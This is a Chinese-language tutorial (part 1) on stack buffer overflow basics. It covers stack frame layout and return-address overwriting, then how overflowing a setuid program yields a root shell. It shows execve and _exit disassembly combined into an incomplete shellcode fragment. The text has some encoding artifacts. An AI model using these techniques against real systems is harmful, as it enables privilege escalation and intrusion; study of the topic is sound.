一:基礎知識
計算機內存運行分配的區(qū)域分為3個
程序段區(qū)域:不允許寫的
數(shù)據(jù)段區(qū)域:靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開始運行的時候被加載
堆棧區(qū)域:放置程序的動態(tài)的用于計算的局部和臨時變量則分配在堆棧里面和在過程調用中壓入的返回地
址數(shù)據(jù),
自己寫溢出的基礎,溢出原理(1)
。堆棧是一個先入后出的隊列。一般計算機系統(tǒng)堆棧的方向與內存的方向相反。壓棧的xx作push= ESP-4,出棧的xx作是pop=ESP+4. 在一次函數(shù)調用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來,就在 堆棧中開辟相應的空間以構造變量。函數(shù)執(zhí)行結束,這些局部變量的內容將被丟失。但是不被清除。在函 數(shù)返回的時候,彈出EBP,恢復堆棧到函數(shù)調用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時候,是:先壓c,再壓 b,最后a.在取參數(shù)的時候,
指令執(zhí)行的圖例:
指令區(qū)域
執(zhí)行程序區(qū)
0 1 2 3
0
4
8 調用100處的函數(shù),參數(shù)1(3位),2(10位)
C
10 0 1 2 3
100 執(zhí)行處理
104
108
10C
110 返回調用 堆棧區(qū)域
0 1 2 3
如果EBP分配的空間不夠xx作就是產(chǎn)生溢出的地方
200 保存以前的EBP4位(數(shù)據(jù)段的指針,用于可以使用局部動態(tài)
變量)現(xiàn)在的EBP等于當前的ESP-動態(tài)數(shù)據(jù)的大小值 ,
ESP=200
204 0C 00 00 00
此處是程序的返回地址
208 參數(shù)1,填充1位
20C 參數(shù)2填充2位
210
講解例子WIN下的程序DEMO,演示參數(shù)導致的返回地址的變化
講清主要4位的填充問題
另外溢出還會導致數(shù)據(jù)段的改變 3:如何利用堆棧溢出
原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們利用 字符數(shù)組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。 在DEMO的例子中,這導致CPU去訪問 一個不存在的指令,結果出錯。事實上,我們已經(jīng)完全的控制了這個程序下一步的動作。如果我們用一個 實際存在指令地址來覆蓋這個返回地址,CPU就會轉而執(zhí)行我們的指令。 那么有什么用呢,就算使得我們的程序可以跳轉執(zhí)行一些代碼,如何用他來突破系統(tǒng)限制來獲得權限呢? 二:系統(tǒng)權限知識
UNIX系統(tǒng)在運行的時候的權限檢查主要是根據(jù)UID,GID,SID 三個標來檢查的,主要根據(jù)SID來檢查權限
SU系統(tǒng)調用就是SID變成SU的對象
S粘貼位使得運行程序的人具有該程序擁有者一樣的權限
中斷ROOT的S粘貼位的程序就可以獲得超級用戶的權限,SID位置沒被調用返回修改回來。
VI的S粘貼位可以中斷的例子 在UINX系統(tǒng)中,我們的指令可以執(zhí)行一個shell,這個shell將獲得和被我們堆棧溢出的程序相同的權限。 如果這個程序是setuid的,那么我們就可以獲得root shell。 三:溢出突破權限的實現(xiàn)
首先要編寫SHELLCODE的2進制代碼作為溢出的參數(shù)進行傳入:
shellcode的C程序 注意:execve函數(shù)將執(zhí)行一個程序。他需要程序的名字地址作為第一個參數(shù)。一個內容為該程序的 argv[i](argv[n-1]=0)的指針數(shù)組作為第二個參數(shù),以及(char*) 0作為第三個參數(shù)。
我們來看以看execve的匯編代碼:
0x804ce7c <__execve>: push %ebp ‘保存以前的數(shù)據(jù)段地址
0x804ce7d <__execve+1>: mov %esp,%ebp ‘使得當前數(shù)據(jù)段指向堆棧
0x804ce7f <__execve+3>: push %edi
0x804ce80 <__execve+4>: push %ebx ‘保存
0x804ce81 <__execve+5>: mov 0x8(%ebp),%edi ‘ebp+8是第一個參數(shù)"/bin/sh\0"
0x804ce84 <__execve+8>: mov $0x0,%eax ‘清0
0x804ce89 <__execve+13>: test %eax,%eax
0x804ce8b <__execve+15>: je 0x804ce92 <__execve+22>
0x804ce8d <__execve+17>: call 0x0
0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘設置NAME[0]參數(shù),4字節(jié)對齊
0x804ce95 <__execve+25>: mov 0x10(%ebp),%edx,設置NAME[1]參數(shù),4字節(jié)對齊
0x804ce98 <__execve+28>: push %ebx
0x804ce99 <__execve+29>: mov %edi,%ebx
0x804ce9b <__execve+31>: mov $0xb,%eax ‘設置XB號調用
0x804cea0 <__execve+36>: int $0x80 ‘調用執(zhí)行
0x804cea2 <__execve+38>: pop %ebx
0x804cea3 <__execve+39>: mov %eax,%ebx
0x804cea5 <__execve+41>: cmp $0xfffff000,%ebx
0x804ceab <__execve+47>: jbe 0x804cebb <__execve+63>
0x804cead <__execve+49>: call 0x8048324 <__errno_location>
0x804ceb2 <__execve+54>: neg %ebx
0x804ceb4 <__execve+56>: mov %ebx,(%eax)
0x804ceb6 <__execve+58>: mov $0xffffffff,%ebx
0x804cebb <__execve+63>: mov %ebx,%eax
0x804cebd <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804cec0 <__execve+68>: pop %ebx
0x804cec1 <__execve+69>: pop %edi
0x804cec2 <__execve+70>: leave
0x804cec3 <__execve+71>: ret 精練的調用方法是
0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘設置NAME[0]參數(shù),4字節(jié)對齊
0x804ce95 <__execve+25>: mov 0x10(%ebp),%edx,設置NAME[1]參數(shù),4字節(jié)對齊
0x804ce9b <__execve+31>: mov $0xb,%eax ‘設置XB號調用
0x804cea0 <__execve+36>: int $0x80 ‘調用執(zhí)行 另外要執(zhí)行一個exit()系統(tǒng)調用,結束shellcode的執(zhí)行,
電腦資料
《自己寫溢出的基礎,溢出原理(1)》(http://www.dameics.com)。0x804ce60 <_exit>: mov %ebx,%edx
0x804ce62 <_exit+2>: mov 0x4(%esp,1),%ebx 設置參數(shù)0
0x804ce66 <_exit+6>: mov $0x1,%eax ‘1號調用
0x804ce6b <_exit+11>: int $0x80
0x804ce6d <_exit+13>: mov %edx,%ebx
0x804ce6f <_exit+15>: cmp $0xfffff001,%eax
0x804ce74 <_exit+20>: jae 0x804d260 <__syscall_error> 那么總結一下,合成的匯編代碼為:
mov 0xc(%ebp),%ecx
mov 0x10(%ebp),%edx
mov $0xb,%eax
int $0x80
mov 0x4(%esp,1),%ebx
mov $0x1,%eax
int $0x80 但問題在于我們必須把這個程序作為字符串的參數(shù)傳給溢出的程序進行調用,如何來分配和定位字符串“ /bin/sh”,還得有一個name數(shù)組。我們可以構造它們出來,可是,在shellcode中如何知道它們的地址呢 ?每一次程序都是動態(tài)加載,字符串和name數(shù)組的地址都不是固定的。